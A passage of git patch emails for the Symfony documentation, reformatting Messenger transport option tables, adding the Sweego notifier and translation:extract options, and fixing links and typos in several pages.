+``tube_name`` (default: ``default``)
+    Name of the queue
+
+``timeout`` (default: ``0``)
+    Message reservation timeout - in seconds. 0 will cause the server to
+    immediately return either a response or a TransportException will be thrown.
+
+``ttr`` (default: ``90``)
+    The message time to run before it is put back in the ready queue - in
+    seconds.
 
 .. _messenger-redis-transport:
 
@@ -1652,51 +1695,62 @@ The Redis transport DSN may looks like this:
 A number of options can be configured via the DSN or via the ``options`` key
 under the transport in ``messenger.yaml``:
 
-=======================  =====================================  =================================
-Option                   Description                            Default
-=======================  =====================================  =================================
-stream                   The Redis stream name                  messages
-group                    The Redis consumer group name          symfony
-consumer                 Consumer name used in Redis            consumer
-auto_setup               Create the Redis group automatically?  true
-auth                     The Redis password
-delete_after_ack         If ``true``, messages are deleted      true
-                         automatically after processing them
-delete_after_reject      If ``true``, messages are deleted      true
-                         automatically if they are rejected
-lazy                     Connect only when a connection is      false
-                         really needed
-serializer               How to serialize the final payload     ``Redis::SERIALIZER_PHP``
-                         in Redis (the
-                         ``Redis::OPT_SERIALIZER`` option)
-stream_max_entries       The maximum number of entries which    ``0`` (which means "no trimming")
-                         the stream will be trimmed to. Set
-                         it to a large enough number to
-                         avoid losing pending messages
-redeliver_timeout        Timeout before retrying a pending      ``3600``
-                         message which is owned by an
-                         abandoned consumer (if a worker died
-                         for some reason, this will occur,
-                         eventually you should retry the
-                         message) - in seconds.
-claim_interval           Interval on which pending/abandoned    ``60000`` (1 Minute)
-                         messages should be checked for to
-                         claim - in milliseconds
-persistent_id            String, if null connection is          null
-                         non-persistent.
-retry_interval           Int, value in milliseconds             ``0``
-read_timeout             Float, value in seconds                ``0``
-                         default indicates unlimited
-timeout                  Connection timeout. Float, value in    ``0``
-                         seconds default indicates unlimited
-sentinel_master          String, if null or empty Sentinel      null
-redis_sentinel           support is disabled
-ssl                      Map of TLS options.                    null
-=======================  =====================================  =================================
-
-The ``ssl`` option can be used to provide `SSL context options`_ for the TLS channel, e.g. in tests:
+``stream`` (default: ``messages``)
+    The Redis stream name
 
-.. configuration-block::
+``group`` (default: ``symfony``)
+    The Redis consumer group name
+
+``consumer`` (default: ``consumer``)
+    Consumer name used in Redis
+
+``auto_setup`` (default: ``true``)
+    Whether to create the Redis group automatically
+
+``auth``
+    The Redis password
+
+``delete_after_ack`` (default: ``true``)
+    If ``true``, messages are deleted automatically after processing them
+
+``delete_after_reject`` (default: ``true``)
+    If ``true``, messages are deleted automatically if they are rejected
+
+``lazy`` (default: ``false``)
+    Connect only when a connection is really needed
+
+``serializer`` (default: ``Redis::SERIALIZER_PHP``)
+    How to serialize the final payload in Redis (the ``Redis::OPT_SERIALIZER`` option)
+
+``stream_max_entries`` (default: ``0``)
+    The maximum number of entries which the stream will be trimmed to. Set it to
+    a large enough number to avoid losing pending messages
+
+``redeliver_timeout`` (default: ``3600``)
+    Timeout (in seconds) before retrying a pending message which is owned by an abandoned consumer
+    (if a worker died for some reason, this will occur, eventually you should retry the message).
+
+``claim_interval`` (default: ``60000``)
+    Interval on which pending/abandoned messages should be checked for to claim - in milliseconds
+
+``persistent_id`` (default: ``null``)
+    String, if null connection is non-persistent.
+
+``retry_interval`` (default: ``0``)
+    Int, value in milliseconds
+
+``read_timeout`` (default: ``0``)
+    Float, value in seconds default indicates unlimited
+
+``timeout`` (default: ``0``)
+    Connection timeout. Float, value in seconds default indicates unlimited
+
+``sentinel_master`` (default: ``null``)
+    String, if null or empty Sentinel support is disabled
+
+``ssl`` (default: ``null``)
+    Map of `SSL context options`_ for the TLS channel. This is useful for example
+    to change the requirements for the TLS channel in tests:
 
     .. code-block:: yaml
 
@@ -1863,27 +1917,44 @@ The SQS transport DSN may looks like this:
 
 The transport has a number of options:
 
-======================  ======================================  ===================================
-     Option             Description                             Default
-======================  ======================================  ===================================
-``access_key``          AWS access key                          must be urlencoded
-``account``             Identifier of the AWS account           The owner of the credentials
-``auto_setup``          Whether the queue should be created     ``true``
-                        automatically during send / get.
-``buffer_size``         Number of messages to prefetch          9
-``debug``               If ``true`` it logs all HTTP requests   ``false``
-                        and responses (it impacts performance)
-``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com
-``poll_timeout``        Wait for new message duration in        0.1
-                        seconds
-``queue_name``          Name of the queue                       messages
-``region``              Name of the AWS region                  eu-west-1
-``secret_key``          AWS secret key                          must be urlencoded
-``session_token``       AWS session token
-``visibility_timeout``  Amount of seconds the message will      Queue's configuration
-                        not be visible (`Visibility Timeout`_)
-``wait_time``           `Long polling`_ duration in seconds     20
-======================  ======================================  ===================================
+``access_key``
+    AWS access key (must be urlencoded)
+
+``account`` (default: The owner of the credentials)
+    Identifier of the AWS account
+
+``auto_setup`` (default: ``true``)
+    Whether the queue should be created automatically during send / get.
+
+``buffer_size`` (default: ``9``)
+    Number of messages to prefetch
+
+``debug`` (default: ``false``)
+    If ``true`` it logs all HTTP requests and responses (it impacts performance)
+
+``endpoint`` (default: ``https://sqs.eu-west-1.amazonaws.com``)
+    Absolute URL to the SQS service
+
+``poll_timeout`` (default: ``0.1``)
+    Wait for new message duration in seconds
+
+``queue_name`` (default: ``messages``)
+    Name of the queue
+
+``region`` (default: ``eu-west-1``)
+    Name of the AWS region
+
+``secret_key``
+    AWS secret key (must be urlencoded)
+
+``session_token``
+    AWS session token
+
+``visibility_timeout`` (default: Queue's configuration)
+    Amount of seconds the message will not be visible (`Visibility Timeout`_)
+
+``wait_time`` (default: ``20``)
+    `Long polling`_ duration in seconds
 
 .. versionadded:: 6.1
 
@@ -2321,16 +2392,22 @@ with ``messenger.message_handler``.
 
 Possible options to configure with tags are:
 
-============================  ====================================================================================================
-Option                        Description
-============================  ====================================================================================================
-``bus``                       Name of the bus from which the handler can receive messages, by default all buses.
-``from_transport``            Name of the transport from which the handler can receive messages, by default all transports.
-``handles``                   Type of messages (FQCN) that can be processed by the handler, only needed if can't be guessed by
-                              type-hint.
-``method``                    Name of the method that will process the message.
-``priority``                  Priority of the handler when multiple handlers can process the same message.
-============================  ====================================================================================================
+``bus``
+    Name of the bus from which the handler can receive messages, by default all buses.
+
+``from_transport``
+    Name of the transport from which the handler can receive messages, by default
+    all transports.
+
+``handles``
+    Type of messages (FQCN) that can be processed by the handler, only needed if
+    can't be guessed by type-hint.
+
+``method``
+    Name of the method that will process the message.
+
+``priority``
+    Priority of the handler when multiple handlers can process the same message.
 
 .. _handler-subscriber-options:
 

From 9d85b6904c11777c31263b276152ad980cbd08fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 16:43:56 +0200
Subject: [PATCH 6454/7107] Tweaks

---
 components/console/helpers/progressindicator.rst | 14 ++++++++++++--
 1 file changed, 12 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index 1d4384958e9..0defe7c83fd 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -99,9 +99,10 @@ The progress indicator will now look like this:
      ⢸ Processing...
      ✔ Finished
 
-Once the progress indicator is finished, it uses the finishedIndicator value (which defaults to ✔). You can replace it with your own::
+Once the progress finishes, it displays a special finished indicator (which defaults
+to ✔). You can replace it with your own::
 
-    $progressIndicator = new ProgressIndicator($output, 'verbose', 100, null, '🎉');
+    $progressIndicator = new ProgressIndicator($output, finishedIndicatorValue: '🎉');
     
     try {
         /* do something */
@@ -110,6 +111,15 @@ Once the progress indicator is finished, it uses the finishedIndicator value (wh
         $progressIndicator->finish('Failed', '🚨');
     }
 
+The progress indicator will now look like this:
+
+.. code-block:: text
+
+     \ Processing...
+     | Processing...
+     / Processing...
+     - Processing...
+     🎉 Finished
 
 .. versionadded:: 7.2
 

From 6473d6c91f016b26b28ec8dc083fc300b0525133 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 16:50:50 +0200
Subject: [PATCH 6455/7107] Finished the docs

---
 security/user_checkers.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 1e1dcaf3e55..ec8f49da522 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -21,6 +21,8 @@ displayed to the user::
     namespace App\Security;
 
     use App\Entity\User as AppUser;
+    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
+    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAccountStatusException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;
@@ -50,9 +52,17 @@ displayed to the user::
             if ($user->isExpired()) {
                 throw new AccountExpiredException('...');
             }
+
+            if (!\in_array('foo', $token->getRoleNames())) {
+                throw new AccessDeniedException('...');
+            }
         }
     }
 
+.. versionadded:: 7.2
+
+    The ``token`` argument for the ``checkPostAuth()`` method was introduced in Symfony 7.2.
+
 Enabling the Custom User Checker
 --------------------------------
 

From 776f7e899f3a24fa79245fc9fd193aac3ffef03b Mon Sep 17 00:00:00 2001
From: chx <chx1975@gmail.com>
Date: Thu, 15 Sep 2022 12:29:59 -0700
Subject: [PATCH 6456/7107] Update service_decoration.rst

Note service tags.
---
 service_container/service_decoration.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 11e6ed9f8bf..a40d4784e1d 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -128,7 +128,9 @@ but keeps a reference of the old one as ``.inner``:
     The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1.
 
 The ``decorates`` option tells the container that the ``App\DecoratingMailer``
-service replaces the ``App\Mailer`` service. If you're using the
+service replaces the ``App\Mailer`` service. 
+:ref:`Service tags<How to Work with Service Tags> are moved as well. 
+If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 the decorated service is automatically injected when the constructor of the
 decorating service has one argument type-hinted with the decorated service class.

From df61a96a460be93fa9269c260f00e1c2cfe8102a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 17:46:03 +0200
Subject: [PATCH 6457/7107] Reword

---
 service_container/service_decoration.rst | 14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index a40d4784e1d..ea6b60ef2c3 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -128,9 +128,7 @@ but keeps a reference of the old one as ``.inner``:
     The ``#[AsDecorator]`` attribute was introduced in Symfony 6.1.
 
 The ``decorates`` option tells the container that the ``App\DecoratingMailer``
-service replaces the ``App\Mailer`` service. 
-:ref:`Service tags<How to Work with Service Tags> are moved as well. 
-If you're using the
+service replaces the ``App\Mailer`` service. If you're using the
 :ref:`default services.yaml configuration <service-container-services-load-example>`,
 the decorated service is automatically injected when the constructor of the
 decorating service has one argument type-hinted with the decorated service class.
@@ -219,12 +217,20 @@ automatically changed to ``'.inner'``):
     Instead, use the
     :class:`#[AutowireDecorated] <Symfony\\Component\\DependencyInjection\\Attribute\\AutowireDecorated>` attribute.
 
-.. tip::
+.. note::
 
     The visibility of the decorated ``App\Mailer`` service (which is an alias
     for the new service) will still be the same as the original ``App\Mailer``
     visibility.
 
+.. note::
+
+    All custom :ref:`service tags </service_container/tags>`_ from the decorated
+    service are removed in the new service. Only certain built-in service tags
+    defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``,
+    ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``,
+    and ``kernel.reset``.
+
 .. note::
 
     The generated inner id is based on the id of the decorator service

From a808be01b3e2acac99611b69d0966e8534c5ae5a Mon Sep 17 00:00:00 2001
From: Sylvain Ferlac <cirdan@users.noreply.github.com>
Date: Wed, 16 Oct 2024 18:30:34 +0200
Subject: [PATCH 6458/7107] Fix typo preventing link to be parsed

The documentation website displays a commit hash, instead of the link to the tags section
---
 service_container/service_decoration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index ea6b60ef2c3..53329409da6 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -225,7 +225,7 @@ automatically changed to ``'.inner'``):
 
 .. note::
 
-    All custom :ref:`service tags </service_container/tags>`_ from the decorated
+    All custom :ref:`service tags </service_container/tags>` from the decorated
     service are removed in the new service. Only certain built-in service tags
     defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``,
     ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``,

From 4dae8cacf8b1842bf253335c140f0284c7691289 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 19:15:43 +0200
Subject: [PATCH 6459/7107] Minor tweak

---
 service_container/service_decoration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 53329409da6..97c4c25090b 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -225,7 +225,7 @@ automatically changed to ``'.inner'``):
 
 .. note::
 
-    All custom :ref:`service tags </service_container/tags>` from the decorated
+    All custom :doc:`service tags </service_container/tags>` from the decorated
     service are removed in the new service. Only certain built-in service tags
     defined by Symfony are retained: ``container.service_locator``, ``container.service_subscriber``,
     ``kernel.event_subscriber``, ``kernel.event_listener``, ``kernel.locale_aware``,

From 9f4cdcd54d44cab5a388ccad90d0c40cdc65fac8 Mon Sep 17 00:00:00 2001
From: AndoniLarz <andoni@larzabal.eu>
Date: Fri, 7 Jun 2024 16:46:54 +0200
Subject: [PATCH 6460/7107] [Contributing] Add documentation for rebasing when
 contributing to the docs

---
 contributing/documentation/overview.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index aae2c397dec..8b6662f18b2 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -136,6 +136,10 @@ even remove any content and do your best to comply with the
 
 **Step 6.** **Push** the changes to your forked repository:
 
+Before submitting your PR, you may have to update your branch as described in :doc:`the code contribution guide </contributing/code/pull_requests#rebase-your-pull-request>`.
+
+Then, you can push your changes:
+
 .. code-block:: terminal
 
     $ git push origin improve_install_article

From 3a6235741edfd421ca32f9ac2b81dd237f54cfc4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Oct 2024 10:14:44 +0200
Subject: [PATCH 6461/7107] Reword

---
 contributing/documentation/overview.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 8b6662f18b2..183910e6ac6 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -136,10 +136,6 @@ even remove any content and do your best to comply with the
 
 **Step 6.** **Push** the changes to your forked repository:
 
-Before submitting your PR, you may have to update your branch as described in :doc:`the code contribution guide </contributing/code/pull_requests#rebase-your-pull-request>`.
-
-Then, you can push your changes:
-
 .. code-block:: terminal
 
     $ git push origin improve_install_article
@@ -189,6 +185,9 @@ changes and push the new changes:
 
     $ git push
 
+It's rare, but you might be asked to rebase your pull request to target another
+Symfony branch. Read the :ref:`guide on rebasing pull requests <rebase-your-patch>`.
+
 **Step 10.** After your pull request is eventually accepted and merged in the
 Symfony documentation, you will be included in the `Symfony Documentation
 Contributors`_ list. Moreover, if you happen to have a `SymfonyConnect`_

From f932585d967262ffcd0f2b63ac47faa043e9d3bf Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Sat, 19 Oct 2024 16:52:24 +0200
Subject: [PATCH 6462/7107] Add Sweego Notifier doc

---
 notifier.rst | 6 +++++-
 webhook.rst  | 1 +
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index b2329b2b28a..144044ebe3e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -187,6 +187,9 @@ Service
 `SpotHit`_          **Install**: ``composer require symfony/spot-hit-notifier`` \
                     **DSN**: ``spothit://TOKEN@default?from=FROM`` \
                     **Webhook support**: No
+`Sweego`_           **Install**: ``composer require symfony/sweego-notifier`` \
+                    **DSN**: ``sweego://API_KEY@default?region=REGION&campaign_type=CAMPAIGN_TYPE`` \
+                    **Webhook support**: Yes
 `Telnyx`_           **Install**: ``composer require symfony/telnyx-notifier`` \
                     **DSN**: ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID`` \
                     **Webhook support**: No
@@ -225,7 +228,7 @@ Service
 
 .. versionadded:: 7.2
 
-    The ``Primotexto`` and ``Sipgate`` integrations were introduced in Symfony 7.2.
+    The ``Primotexto``, ``Sipgate`` and ``Sweego`` integrations were introduced in Symfony 7.2.
 
 .. deprecated:: 7.1
 
@@ -1239,6 +1242,7 @@ is dispatched. Listeners receive a
 .. _`SMSense`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SMSense/README.md
 .. _`SmsSluzba`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsSluzba/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
+.. _`Sweego`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Sweego/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md
 .. _`Telnyx`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telnyx/README.md
 .. _`TurboSms`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/TurboSms/README.md
diff --git a/webhook.rst b/webhook.rst
index 6b79da037e4..aba95cffb04 100644
--- a/webhook.rst
+++ b/webhook.rst
@@ -166,6 +166,7 @@ Currently, the following third-party SMS transports support webhooks:
 SMS service  Parser service name
 ============ ==========================================
 Twilio       ``notifier.webhook.request_parser.twilio``
+Sweego       ``notifier.webhook.request_parser.sweego``
 Vonage       ``notifier.webhook.request_parser.vonage``
 ============ ==========================================
 

From 9c81e1cb54f25e5f142c4f39f18a4086f41cc71b Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Sat, 19 Oct 2024 21:37:37 +0200
Subject: [PATCH 6463/7107] update external link on messenger doc

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 1d0be35b088..b546082b100 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2695,7 +2695,7 @@ Learn more
 .. _`streams`: https://redis.io/topics/streams-intro
 .. _`Supervisor docs`: http://supervisord.org/
 .. _`PCNTL`: https://www.php.net/manual/book.pcntl.php
-.. _`systemd docs`: https://www.freedesktop.org/wiki/Software/systemd/
+.. _`systemd docs`: https://systemd.io/
 .. _`SymfonyCasts' message serializer tutorial`: https://symfonycasts.com/screencast/messenger/transport-serializer
 .. _`Long polling`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-short-and-long-polling.html
 .. _`Visibility Timeout`: https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/sqs-visibility-timeout.html

From ef9baef15df2f02bec0221f78cbab3151695f542 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 21 Oct 2024 08:56:56 +0200
Subject: [PATCH 6464/7107] fix param name for lint:translations

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 4663d9d7c15..a1d012f3b38 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1405,7 +1405,7 @@ to check that the translation contents are also correct:
         $ php bin/console lint:translations
 
         # checks the contents of the translation catalogues for Italian (it) and Japanese (ja) locales
-        $ php bin/console lint:translations --locales=it --locales=ja
+        $ php bin/console lint:translations --locale=it --locale=ja
 
 .. versionadded:: 7.2
 

From f08d2bc323dd1970b809a71a5eff2a09d01b6811 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 24 Oct 2024 10:48:27 +0200
Subject: [PATCH 6465/7107] [Frontend] Add some comments about minifying assets

---
 frontend.rst              | 14 ++++++++++----
 frontend/asset_mapper.rst | 14 +++++++++++---
 2 files changed, 21 insertions(+), 7 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 05f7e6c69df..0ae9959e0e7 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -34,10 +34,10 @@ Supports `Stimulus/UX`_           yes                                 yes
 Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
-Removes comments from JavaScript  no                                  yes
-Removes comments from CSS         no                                  no
+Removes comments from JavaScript  no :ref:`[2] <ux-note-2>`           yes
+Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no
 Versioned assets                  always                              optional
-Can update 3rd party packages     yes                                 no :ref:`[2] <ux-note-2>`
+Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-2>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:
@@ -49,7 +49,12 @@ be executed by a browser.
 
 .. _ux-note-2:
 
-**[2]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
+**[2]** You can install the `SensioLabs Minify Bundle`_ to minify CSS/JS code
+(and remove all comments) when compiling assets with AssetMapper.
+
+.. _ux-note-3:
+
+**[3]** If you use ``npm``, there are update checkers available (e.g. ``npm-check``).
 
 .. _frontend-asset-mapper:
 
@@ -137,3 +142,4 @@ Other Front-End Articles
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
+.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c9e5d543846..1b0329d402d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -722,9 +722,16 @@ See :ref:`Optimization <optimization>` for more details.
 Does the AssetMapper Component Minify Assets?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Nope! Minifying or compressing assets *is* important, but can be
-done by your web server. See :ref:`Optimization <optimization>` for
-more details.
+Nope! In most cases, this is perfectly fine. The web asset compression performed
+by web servers before sending them is usually sufficient. However, if you think
+you could benefit from minifying assets (in addition to later compressing them),
+you can use the `SensioLabs Minify Bundle`_.
+
+This bundle integrates seamlessly with AssetMapper and minifies all web assets
+automatically when running the ``asset-map:compile`` command (as explained in
+the :ref:`serving assets in production <asset-mapper-compile-assets>` section).
+
+See :ref:`Optimization <optimization>` for more details.
 
 Is the AssetMapper Component Production Ready? Is it Performant?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -1180,3 +1187,4 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
 .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
 .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
+.. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle

From 58e9f4a9a6984bf0ca8987e81ab5735cc946445f Mon Sep 17 00:00:00 2001
From: antonioortegajr <antonioortegajr@gmail.com>
Date: Wed, 23 Oct 2024 15:39:00 -0700
Subject: [PATCH 6466/7107] correct grammer introduction.rst

add "to" inb a sentence
---
 create_framework/introduction.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index d3574de4c94..7a1e6b2ad50 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -29,7 +29,7 @@ a few good reasons to start creating your own framework:
 * To refactor an old/existing application that needs a good dose of recent web
   development best practices;
 
-* To prove the world that you can actually create a framework on your own (...
+* To prove to the world that you can actually create a framework on your own (...
   but with little effort).
 
 This tutorial will gently guide you through the creation of a web framework,

From 67e2b2e4fe8fedf09ea79f9decc7f201dfec0cab Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 26 Oct 2024 18:04:51 +0200
Subject: [PATCH 6467/7107] fix footnote reference

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 0ae9959e0e7..f498dc737b5 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -37,7 +37,7 @@ Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no :ref:`[2] <ux-note-2>`           yes
 Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no
 Versioned assets                  always                              optional
-Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-2>`
+Can update 3rd party packages     yes                                 no :ref:`[3] <ux-note-3>`
 ================================  ==================================  ==========
 
 .. _ux-note-1:

From b8e5d0c59bf7a287687317026f56b7f5cd8d1f03 Mon Sep 17 00:00:00 2001
From: Jawira Portugal <dev@tugal.be>
Date: Sun, 27 Oct 2024 19:23:45 +0100
Subject: [PATCH 6468/7107] Add --prefix and --no-fill to translation page

---
 translation.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/translation.rst b/translation.rst
index a1d012f3b38..2bbce00977a 100644
--- a/translation.rst
+++ b/translation.rst
@@ -467,8 +467,33 @@ The ``translation:extract`` command looks for missing translations in:
 
         $ composer require nikic/php-parser
 
+By default, the ``translation:extract`` command extracts new messages in
+*message/translation* pairs, with the translation populated with the same
+text as the message, prefixed by ``__``. You can customize this prefix using
+the ``--prefix`` option.
+
+If you want to leave new translations empty, use the ``--no-fill`` option.
+When enabled, only messages are created, and the translation strings are left
+empty. This is particularly useful when using external translation tools, as
+it ensures untranslated strings are easily identifiable without any pre-filled
+content. Note that when ``--no-fill`` is used, the ``--prefix`` option has
+no effect.
+
+.. code-block:: terminal
+
+    # changes default prefix
+    $ php bin/console translation:extract --force --prefix="NEW_" fr
+
+    # leaves new translations empty
+    $ php bin/console translation:extract --force --no-fill fr
+
+.. versionadded:: 7.2
+
+    The ``--no-fill`` option was introduced in Symfony 7.2.
+
 .. _translation-resource-locations:
 
+
 Translation Resource/File Names and Locations
 ---------------------------------------------
 

From d558cc884520f8febedb99e7f3bfbfe1348c30d1 Mon Sep 17 00:00:00 2001
From: decima <1727893+decima@users.noreply.github.com>
Date: Sun, 27 Oct 2024 10:09:29 +0100
Subject: [PATCH 6469/7107] updating expression language documentation

---
 components/expression_language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index f718f928702..7f98ee90de2 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -93,7 +93,7 @@ The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
 method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`
 instance that can be used to inspect and manipulate the expression. The
 :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the
-other hand, returns a boolean indicating if the expression is valid or not::
+other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError` if the expression is not valid::
 
     use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
 
@@ -103,7 +103,7 @@ other hand, returns a boolean indicating if the expression is valid or not::
     // displays the AST nodes of the expression which can be
     // inspected and manipulated
 
-    var_dump($expressionLanguage->lint('1 + 2', [])); // displays true
+    $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
 
 Passing in Variables
 --------------------

From 0860ccaf88a5d3d8599832f4af9d02d6ffe139c9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Oct 2024 13:01:22 +0100
Subject: [PATCH 6470/7107] Minor tweak

---
 components/expression_language.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 7f98ee90de2..7133932da28 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -93,7 +93,8 @@ The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
 method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`
 instance that can be used to inspect and manipulate the expression. The
 :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the
-other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError` if the expression is not valid::
+other hand, throws a :class:`Symfony\\Component\\ExpressionLanguage\\SyntaxError`
+if the expression is not valid::
 
     use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
 

From 65a14d07553951cf305069d4d56485898d8121b6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Oct 2024 17:59:56 +0100
Subject: [PATCH 6471/7107] Minor tweaks

---
